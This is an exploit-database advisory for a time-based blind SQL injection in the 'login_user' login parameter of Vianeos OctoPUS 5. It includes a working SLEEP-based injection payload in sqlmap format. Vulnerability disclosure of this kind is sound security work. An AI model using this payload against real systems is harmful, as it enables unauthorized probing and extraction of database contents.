Vianeos octopus 5 login_user sqli Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-07-01 | Type : webapps | Platform : multiple
This exploit / vulnerability Vianeos octopus 5 login_user sqli is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi
# Date: 01/07/2021
# Exploit Author: Audencia Business SCHOOL
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/
# Software Link: http://www.vianeos.com/en/octopus/
# Version: > V5
# Tested on: Fedora / Apache2 / MariaDB


Octopus V5 SQLi

The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :

```
Parameter: login_user (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1
```